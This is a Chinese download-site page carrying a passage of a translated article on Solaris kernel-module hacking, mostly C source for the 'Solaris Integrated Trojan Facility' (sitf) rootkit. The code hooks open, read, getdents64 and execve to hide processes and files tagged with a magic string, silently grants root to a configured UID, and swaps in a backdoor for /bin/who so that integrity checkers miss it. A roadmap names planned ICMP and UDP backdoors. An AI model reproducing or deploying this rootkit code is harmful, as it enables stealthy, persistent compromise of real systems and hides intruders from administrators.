⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 373.html

📁 关于jsp的一些好文章 主要介绍一些关于JSP的应用技巧方面的东西
💻 HTML
📖 第 1 页 / 共 3 页
字号:
char psinfo[] = "psinfo"; <br>int psfildes = FALSE; /* 设置psinfo文件标志 */ <br>[...] <br>/* 构造一个伪open()调用 */ <br>int newopen(const char *path, int oflag, mode_t mode) <br>{ <br>int ret; <br>/* 得到原来的open()调用返回的文件描述符 */ <br>ret = oldopen(path, oflag, mode); <br>/* 检查是否路径名中含有psinfo字符串 */ <br>if (strstr(path, (char *) &amp;psinfo) != NULL) { <br>/* 如果包含,设置psfildes为正常的文件描述符 */ <br>psfildes = ret; <br>} else <br>/* 如果不包含,将psfildes设置为false,表明这不是psinfo文件 */ <br>psfildes = FALSE; <br>return ret; <br>} <br>    我们还要修改read()函数,当它读取文件时,将检查是否从文件中读取的字节数与psinfo_t结构字节数一致,以及是否psfildes与该文件的文件描述符一致.然后,它将这个文件的内容拷贝到一个psinfo_t结构中,并比较可执行文件名是否包含magic字符串,这可以通过检查psinfo-&gt;pr_psargs数组来完成.如果在文件名中发现包含有magic字符串,read()将返回一个错误,这个进程项将不会在进程列表中显示.<br><br>ssize_t <br>newread(int fildes, void *buf, size_t nbyte) <br>{ <br>ssize_t ret; <br>psinfo_t *info; /* 定义一个psinfo_t结构的指针 */ <br>/* 得到正常read()调用的返回值 */ <br>ret = oldread(fildes, buf, nbyte); <br>/* 检查是否描述符与psfildes相等,并且读取的字节数与psinfo_t结构大小一致 */ <br>if (fildes &gt; 0 &amp;&amp; fildes == psfildes &amp;&amp; nbyte == sizeof(psinfo_t)) { <br>/* 分配一个psinfo_t结构的空间给info */ <br>info = (psinfo_t *) kmem_alloc(sizeof(psinfo_t), KM_SLEEP); <br>/* 将buf中的内容读取到info中去 */ <br>copyin(buf, (void *) info, sizeof(psinfo_t)); <br>/* 检查是否pr_psargs中包含magic字符串 */ <br>if (strstr(info-&gt;pr_psargs, (char *) &amp;magic) != NULL) { <br>#ifdef DEBUG <br>cmn_err(CE_NOTE,"hiding process: %s", info-&gt;pr_psargs); <br>#endif <br>/* 如果包含magic字符串,释放分配的内存 */ <br>kmem_free(info, sizeof(psinfo_t)); <br>/* 设置错误信息 */ <br>set_errno(ENOENT); <br>return -1; <br>} else <br>kmem_free(info, sizeof(psinfo_t)); <br>} <br>return ret; <br>} <br>    这其实并不是一种很好的隐藏进程的办法.因为它修改open64()和read()调用,这两个系统总是非常频繁的被调用,因此会加重CPU的负载.我们将在5.6节中介绍一种更快的方法.<br><br>---&gt; 模块: sitf0.1.c <br><br>    sitf0.1.c (Solaris Integrated Trojan Facility)中演示了所有上面所提到的内容.它可<br><br>以通过下面三个变量进行设置: <br>#define MAGIC "CHT.THC" <br>#define KEY "mykey" <br>#define UID 1001 <br>    如果一个进程或者文件包含MAGIC字符串,它将不会被任何工具列出来(包括ls,ps,top...)如果security标志也被设置,这些文件的内容将同样不能访问.你可以用touch命令切换security标志.KEY定义了touch所用的参数.<br><br>比如:<br><br>$ touch mykey <br>    如果一个用户的id等于UID中定义的值.当他登录时,他会被自动变为root.你可以在编译的时候定义DEBUG,这样就可以通过syslogd监视这个模块的所有的活动.<br><br>5.5 重定向execve()系统调用 <br>     在Solaris(Sparc)下重定向一个execve()调用真的是一个很大的挑战.因为这要涉及到在内核中为用户空间分配内存.下面的方法没有在用户空间中分配内存,而只是简单的用要执行的新命令名重写定义的缓冲区.尽管我已经测试了很多次,也没有碰到任何问题,我还是建议你等着看我这篇文章的下一版,我将采用一些其他的办法来正确分配用户空间的内存.<br><br>#define OLDCMD "/bin/who" /* 定义旧命令 */ <br>#define NEWCMD "/usr/openwin/bin/xview/xcalc" /* 定义新命令 */ <br>char oldcmd[] = OLDCMD; <br>char newcmd[] = NEWCMD; <br>[...] <br>int newexecve(const char *filename, const char *argv[], const char *envp[]) <br>{ <br>int ret; <br>char *name; <br>unsigned long addr; <br>name = (char *) kmem_alloc(256, KM_SLEEP); <br>/* 将要执行的文件名复制到name中 */ <br>copyin(filename, name, 256); <br>/* 检查是否文件名与已定义的旧命令名一致 */ <br>if (!strcmp(name, (char *) oldcmd)) { <br>/* 如果一致,将新文件名拷贝到fiename中 */ <br>copyout((char *) newcmd, (char *) filename, strlen(newcmd) + 1); <br>#ifdef DEBUG <br>cmn_err(CE_NOTE,"sitf: executing %s instead of %s", newcmd, name); <br>#endif <br>} <br>kmem_free(name, 256); <br>/* 继续执行旧的oldexecve()系统调用,注意这时filename已经改成了新命令 */ <br>return oldexecve(filename, argv, envp); <br>} <br>    &lt;* 译者注: 直接将内核中的字符串拷贝到用户空间的buffer中是比较危险的做法. 原作者也并不推荐使用.在Linux下,是通过用brk()系统调用在用户空间分配一段内存, 然后将newcmd拷贝过去,再执行旧的execve()调用的.有兴趣的朋友可以看一下 pragmatic/THC写的&lt;&lt; Linux 可装载内核模块&gt; &gt;一文:<br><br><a href="http://thc.inferno.tusculum.edu/files/thc/LKM_HACKING.html" target=_blank>http://thc.inferno.tusculum.edu/files/thc/LKM_HACKING.html</a> <br>*&gt; <br>5.6 隐藏进程(利用proc结构) <br>    这里讲的方法才是隐藏进程的正确办法.看一下/usr/include/sys/proc.h这个头文件,你会发现在porc_t结构中有一个成员是p_user,它是user型的结构.每个进程都拥有自己的一个proc_t结构.Solaris根据这个结构的内容在/proc//下产生相应的psinfo文件.<br><br>    如果你看一下user结构在/usr/include/sys/usre.h中的定义,你会发现我们一直在寻找的东西: <br><br>typedef struct user { <br>[...] <br>/* <br>* Executable file info. <br>*/ <br>struct exdata u_exdata; <br>auxv_t u_auxv[__KERN_NAUXV_IMPL]; /* aux vector from exec */ <br>char u_psargs[PSARGSZ]; /* 执行参数 */ <br>char u_comm[MAXCOMLEN + 1]; <br>[...] <br>     u_psargs[]数组包含了进程的执行文件名以及它的参数.这才是是检查是否应该隐藏这个进程的正确地方.在proc.h中有一个宏定义来帮助我们从proc_t中得到p_user表项:<br><br>/* Macro to convert proc pointer to a user block pointer */ <br>#define PTOU(p) (&amp;(p)-&gt;p_user) <br>    如果我们已经知道proc_t结构在哪里,我们就可以得知每个进程的可执行文件名了.我们可以利用函数proc_t *prfind(pid_t)来从给定的进程id查找相应的proc_t结构.当一个工具要列出进程表时,它会访问/proc目录,这个目录下包含很多子目录,目录名就是进程号,我们可以在getdents64()中增加一个小小的检查,隐藏我们所希望的隐藏的进程.我写了个小函数check_for_process()用来完成这个检查的工作.<br><br>int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte) <br>[...] <br>while (i &gt; 0) { <br>reclen = buf3-&gt;d_reclen; <br>i -= reclen; <br>/* 这里增加一个根据文件名(也是进程号)检查进程的函数 */ <br>if ((strstr((char *) &amp;(buf3-&gt;d_name), (char *) &amp;magic) != NULL) || <br>check_for_process((char *) &amp;(buf3-&gt;d_name))) { <br>#ifdef DEBUG <br>cmn_err(CE_NOTE,"sitf: hiding file/process (%s)", buf3-&gt;d_name); <br>#endif <br>if (i != 0) <br>memmove(buf3, (char *) buf3 + buf3-&gt;d_reclen, i); <br>else <br>buf3-&gt;d_off = 1024; <br>ret -= reclen; <br>} <br>[...] <br>    现在让我们来看看check_for_process()函数.在下列代码中我用了两个小函数:sitf_isdigit() 和 sitf_atoi(),分别用来判断是否是数字和将字符转化为数字.check_for_process()函数检查是否这个文件是在/proc中,并检查文件名是不是一个真正的进程id(由check_process()来完成).<br><br>int check_for_process(char *filename) <br>{ <br>if (sitf_isdigit(filename) &amp;&amp; check_process(sitf_atoi(filename))) <br>return TRUE; <br>else <br>return FALSE; <br>} <br>int check_process(pid_t pid) <br>{ <br>proc_t *proc; <br>char *psargs; <br>int ret; <br>/* 根据pid查找相应的proc_t结构 */ <br>proc = (proc_t *) prfind(pid); <br>/* 分配为psargs分配内核空间 */ <br>psargs = (char *) kmem_alloc(PSARGSZ, KM_SLEEP); <br>/* 判断返回值是否有效 */ <br>if (proc != NULL) <br>/* 将u_psargs拷贝到psargs中. <br>* PTOU(proc)-&gt;u_psargs也是在内核空间的,所以我们不需要用特别 <br>* 拷贝命令 <br>*/ <br>memcpy(psargs, PTOU(proc)-&gt;u_psargs, PSARGSZ); <br>else <br>/* 如果返回值无效,返回假 */ <br>return FALSE; <br>/* 检查是否进程参数中包含magic字符串 */ <br>if (strstr(psargs, (char *) &amp;magic) != NULL) <br>/* 如果包含,返回真 */ <br>ret = TRUE; <br>else <br>/* 否则,返回假 */ <br>ret = FALSE; <br>/* 释放分配的内存 */ <br>kmem_free(psargs, PSARGSZ); <br>return ret; <br>} <br>---&gt; 模块: sitf0.2.c <br>    sitf0.2.c(Solaris Integrated Trojan Facility)演示了在5.5和5.6中提到的内容.它也可以象sitf0.1.c中那样进行配置,同时增加了两个定义:<br><br>#define OLDCMD "/bin/who" <br>#define NEWCMD "/usr/openwin/bin/xview/xcalc" <br>    如果文件OLDCMD被执行时,其实是NEWCMD被执行了.这是一个很有用的功能,可以将后门放到某个隐藏目录中.这种形式的"木马"是很难被发现的,因为它没有修改正常命令(这里是/bin/who)的内容,真正被执行的程序又放到了一个隐藏目录中,因此可以骗过tripwire等检验文件完整性的工具.(它们只能通过目录列表来得到要检查的文件名)<br><br>6 下一步的计划 <br>    如果你已经仔细阅读了这篇文章,你可能已经发现很多东西会在下一版本中被改进.下面是<br><br>一个下一版中所要做的改进的简表: <br>- 分配用户空间内存的实现 <br>- 修复getedents64()中的文件隐藏机制,允许magic字符串多次出现在文件名中. <br>- 通过修改ksyms模块来隐藏模块 <br>- 制作一个ICMP后门用来执行程序. <br>- 从netstat中隐藏指定的网络连接 <br>- 通过修改udp相关函数,制作基于UDP的后门 <br>- 完成针对Solaris 2.5(Sparc) 和 2.6 (Sparc/x86)版本的模块 <br>&lt;* 译者注: 似乎还应该考虑增加一个标志,以避免此模块重复装载 *&gt; <br>我也计划写一个针对Solaris 7(Sparc/x86)的安全模块,它包含下列特点: <br>- 受保护的模块装载和卸载 <br>- 限制用户所能看到的进程列表 <br>- 可写目录的链接检查 <br>- 基于内核的包监听 <br>- 对于可能发生的溢出进行报警 <br></p></td>
  </tr>
</table>

<p>
<CENTER><a href="http://www.jsp001.com/forum/newreply.php?action=newreply&threadid=373">点这里对该文章发表评论</a></CENTER>
<p>该文章总得分是 <font color=red>0</font> 分,你认为它对你有帮助吗?
				[<a href=javascript:void(0) onclick=window.open("http://www.jsp001.com/forum/codeVote.php?threadid=373&intVote=4","","menubar=no,toolbar=no,location=no,directories=no,status=no,resizable=no,scrollbars=no,width=70,height=40,top=0,left=0")>非常多</a>](<font color=red>0</font>) 
				[<a href=javascript:void(0) onclick=window.open("http://www.jsp001.com/forum/codeVote.php?threadid=373&intVote=2","","menubar=no,toolbar=no,location=no,directories=no,status=no,resizable=no,scrollbars=no,width=70,height=40,top=0,left=0")>有一些</a>](<font color=red>0</font>) 
				[<a href=javascript:void(0) onclick=window.open("http://www.jsp001.com/forum/codeVote.php?threadid=373&intVote=1","","menubar=no,toolbar=no,location=no,directories=no,status=no,resizable=no,scrollbars=no,width=70,height=40,top=0,left=0")>无帮助</a>](<font color=red>0</font>) 
				[<a href=javascript:void(0) onclick=window.open("http://www.jsp001.com/forum/codeVote.php?threadid=373&intVote=-1","","menubar=no,toolbar=no,location=no,directories=no,status=no,resizable=no,scrollbars=no,width=70,height=40,top=0,left=0")>是灌水</a>](<font color=red>0</font>) </p>
<script language="javascript" src="http://www.jsp001.com/include/read_thread_script.php?threadid=373"></script>
<p><CENTER>
Copyright &copy; 2001 - 2009 JSP001.com . All Rights Reserved <P>

<IMG SRC="../image/jsp001_small_logo.gif" WIDTH="85" HEIGHT="30" BORDER=0 ALT="">
</CENTER></p>

</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -